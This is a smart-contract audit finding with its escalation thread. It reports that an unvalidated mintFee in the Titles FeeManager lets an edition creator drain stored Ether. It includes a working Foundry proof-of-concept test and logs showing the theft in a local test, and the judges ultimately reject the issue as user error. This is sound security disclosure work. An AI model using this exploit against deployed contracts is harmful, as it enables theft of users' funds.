ComposableSecurity - Unvalidated `mintFee` that leads to stealing from `FeeManager`

[sherlock-admin3]

ComposableSecurity

high

Unvalidated mintFee that leads to stealing from FeeManager

Summary

The mintFee variable is not validated and allows the edition creator to set over 100% and steal excessively sent Ether and Ether kept on fee manager.

The mintFee variable is not validated and allows the edition creator to set high fee and steal excessively sent Ether or Ether kept on fee manager.

Vulnerability Detail

The creator of edition can steal funds stored on FeeManager by setting high mintFee (close to FeeManager's balance) and mint a token without any msg.value sent.

Even though the EDITION_MANAGER_ROLE is considered trusted, it is only trusted within the scope of their own edition. This trust cannot be applied here, as the funds will be stolen from another contract that kept Ether from different mints. This particular scenario opens a way for attacker to easily steal the Ether sent by the user and the holdings and approvals of FeeManager.

Note: The vulnerability will have an even greater impact on ERC20 tokens, which, although they were excluded from the scope after the start of the contest, the team still plans to support. Then it will be possible not only to steal them, but also the amount approved for FeeManager by the user.

Important: The funds on FeeManager contract can appear from different sources, including direct call because it has receive() function and the withdraw() function that is used by the admin to rescue tokens.

The POC scenario shows the following situation:

1. There are no funds at FeeManager.
2. Alice mints 1 token of a legit edition, and now there is 0.9494 ether stored on the FeeManager.
3. Attacker creates new edition with big mint fee.
4. Attacker mints 1 token of his edition without any msg.value.
5. FeeManager covers the cost of attacker's mint and sends him the mint fee.

PoC results

Balances of the fee manager and creator before the mint and after the mint:

[PASS] test_mintFee_Theft() (gas: 1592058)
Logs:
  BEFORE MALICIOUS MINT
  Fee Manager balance:      949400000000000000
  Attacker balance:         100000000000000000
  AFTER MALICIOUS MINT
  Fee Manager balance:       48800000000000000
  Attacker balance:        1000000000000000000

PoC file

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;

import {Test, console} from "forge-std/Test.sol";

import {LibZip} from "lib/solady/src/utils/LibZip.sol";

import {
    ETH_ADDRESS, EditionCreated, Metadata, Node, Strategy, Target
} from "src/shared/Common.sol";
import {Edition} from "src/editions/Edition.sol";
import {TitlesCore} from "src/TitlesCore.sol";

contract MockSplitFactory {
    struct Split {
        address[] recipients;
        uint256[] allocations;
        uint256 totalAllocation;
        uint16 distributionIncentive;
    }

    function createSplit(Split memory, address, address) external view returns (address) {
        return address(this);
    }
}

contract TitlesCoreTest is Test {
    TitlesCore public titlesCore;

    function setUp() public {
        titlesCore = new TitlesCore();
        titlesCore.initialize(address(1), address(new MockSplitFactory()));
    }

    function test_mintFee_Theft() public {

        address creator = vm.addr(0x101);
        address alice = vm.addr(0x102);
        address referrer = vm.addr(0x103);
        address attacker = vm.addr(0x104);

        vm.deal(alice, 1.1 ether);
        vm.deal(attacker, 0.1 ether);

        Edition legitEdition = _createEdition(
            TitlesCore.WorkPayload({
                creator: Target({target: creator, chainId: block.chainid}),
                attributions: new Node[](0),
                maxSupply: 100,
                opensAt: uint64(block.timestamp),
                closesAt: uint64(block.timestamp + 3 days),
                strategy: Strategy({
                    asset: ETH_ADDRESS,
                    mintFee: 0.05 ether,
                    revshareBps: 1000,
                    royaltyBps: 250
                }),
                metadata: Metadata({label: "Werk", uri: "https://ipfs.io/{{hash}}", data: new bytes(0)})
            }),
            Metadata({label: "Test Edition", uri: "https://ipfs.io/{{hash}}", data: new bytes(0)})
        );

        // Alice mints some tokens
        vm.prank(alice);
        legitEdition.mint{value: 1 ether}(alice, 1, 1, address(0), new bytes(0));

        //Attacker creates a new edition with big mint fee (0.9 eth)
        vm.prank(attacker);
        Edition maliciousEdition = _createEdition(
            TitlesCore.WorkPayload({
                creator: Target({target: attacker, chainId: block.chainid}),
                attributions: new Node[](0),
                maxSupply: 100,
                opensAt: uint64(block.timestamp),
                closesAt: uint64(block.timestamp + 3 days),
                strategy: Strategy({
                    asset: ETH_ADDRESS,
                    mintFee: 0.9 ether,
                    revshareBps: 1000,
                    royaltyBps: 250
                }),
                metadata: Metadata({label: "", uri: "", data: new bytes(0)})
            }),
            Metadata({label: "", uri: "", data: new bytes(0)})
        );

        address feeManager = address(titlesCore.feeManager());

        console.log("BEFORE MALICIOUS MINT");
        console.log("Fee Manager balance:    ", feeManager.balance);
        console.log("Attacker balance:       ", attacker.balance);

        vm.prank(attacker);
        maliciousEdition.mint(
            attacker,
            1,
            1,
            referrer,
            ""
        );
        console.log("AFTER MALICIOUS MINT");
        console.log("Fee Manager balance:      ", feeManager.balance);
        console.log("Attacker balance:       ", attacker.balance);
    }

    function _createEdition(
        TitlesCore.WorkPayload memory workPayload,
        Metadata memory metadata
    ) internal returns (Edition e) {
        return titlesCore.createEdition{value: titlesCore.feeManager().getCreationFee().amount}(
            LibZip.cdCompress(
                abi.encode(TitlesCore.EditionPayload({work: workPayload, metadata: metadata}))
            ),
            address(0)
        );
    }
}

Impact

Theft of the excessive Ether/tokens sent by the user and the holdings and approvals of FeeManager.

Code Snippet

https://github.com/sherlock-audit/2024-04-titles/blob/d7f60952df22da00b772db5d3a8272a988546089/wallflower-contract-v2/src/fees/FeeManager.sol#L322-L342

Tool used

Manual Review

Recommendation

The fee manager should validate whether the sent msg.value is sufficient to cover the fees (that would protect from scenarios 1 and 3).

The strategy update should be timelocked (that would protect from scenarios 2).

Consider setting a limit for mint fee.

[ComposableSecurityTeam]

Escalate

The issue is valid, in scope and the trusted role rule is not applied here because the creator can steal fees stored by OTHER collections. The attacker can basically wait until there are any ETH in FeeManager and then create a new edition that will allow them to steal the ETH. It is especially important since this issue affects not only the excessive Ether/tokens sent by the user, but also the holdings and approvals of FeeManager.

[sherlock-admin3]

Escalate

The issue is valid, in scope and the trusted role rule is not applied here because the creator can steal fees stored by OTHER collections. The attacker can basically wait until there are any ETH in FeeManager and then create a new edition that will allow them to steal the ETH. It is especially important since this issue affects not only the excessive Ether/tokens sent by the user, but also the holdings and approvals of FeeManager.

You've created a valid escalation!

To remove the escalation from consideration: Delete your comment.

You may delete or edit your escalation comment anytime before the 48-hour escalation window closes. After that, the escalation becomes final.

[WangSecurity]

@ComposableSecurityTeam to clarify, as I understand the FeeManager isn't intended to hold any ETH and it can only happen if previous minter/publisher sends to much msg.value and the excess fee is trappen in FeeManager or users send it directly. If there are other ways, could you please share if there are other ways the funds are inside the FeeManager or not, as cause I understand during the mint function or publish function, we call collectMintFee and collectCreatioFee, respectively, and non-excess ETH is sent to the fee recepients?

[ComposableSecurityTeam]

@WangSecurity The excessive amount of Ether sent when minting would be refunded when the other issue is fixed. However, the existence of receive function means that there are business flows that require such transfers. That said, the direct transfers would not be only by mistake and could be back-run.

/// @notice Allows the contract to receive ETH.
receive() external payable {}

[WangSecurity]

Thank you for that clarification, but you might have to show and explain these specific business flows which require just sending ETH to FeeManager. Otherwise, the existence of receive function itself doesn't proof there are such flows. The report doesn't show how there will be excess fees in the contract by excess msg.value during minting. Hence, this issue is invalid due to user mistake. Planning to reject the escalation and leave the issue as it is.

[ComposableSecurityTeam]

The receive function is not default behavior is a specially added function that does not have to appear in contracts unless it is to support some business flow or the contract is to collect funds. So if the risk after further investigation is considered limited then it could be MEDIUM impact on risk finding, but not invalidated one.

Additionally, we draw your attention to the note included in the description, which shows further risks if ERC20 were in the range:

Note: The vulnerability will have an even greater impact on ERC20 tokens, which, although they were excluded from the scope after the start of the contest, the team still plans to support. Then it will be possible not only to steal them, but also the amount approved for FeeManager by the user.

Regardless of the final verdict, we recommend that the team fix the issue in accordance with the described recommendation for user safety.

@WangSecurity Thank you for your support and thorough investigation.

[WangSecurity]

I agree that receive function is not default, but still if there are no specific business flows in the code, then it doesn't neglect the fact that direct transfers would be a user mistake. I understand that it also has impact for ERC20 tokens, but they're out of scope for this contest. Therefore, my decision remains the same, this is possible only via direct transfer which would be a user mistake, cause specific business flows requiring this behaviour are not seen in the code.

Planning to reject the escalation and leave the issue as it is.

[Evert0x]

Result: Invalid Unique

[sherlock-admin4]

Escalations have been resolved successfully!

Escalation status:

• ComposableSecurityTeam: rejected